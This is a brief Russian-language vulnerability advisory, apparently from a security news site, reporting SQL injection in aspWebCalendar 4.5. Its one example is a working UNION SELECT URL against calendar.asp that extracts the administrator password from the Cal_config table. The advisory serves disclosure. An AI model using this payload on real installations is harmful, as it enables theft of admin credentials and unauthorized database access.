Программа: aspWebCalendar 4.5

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Пример:

/calendar.asp?action=viewevent&eventid=-1%20union%20select%200,Cal_ConfigId, Cal_ConfigAdminPassword,3,4,5,6,7,8,9%20from%20Cal_config

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

    • Открыть комментарии
    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии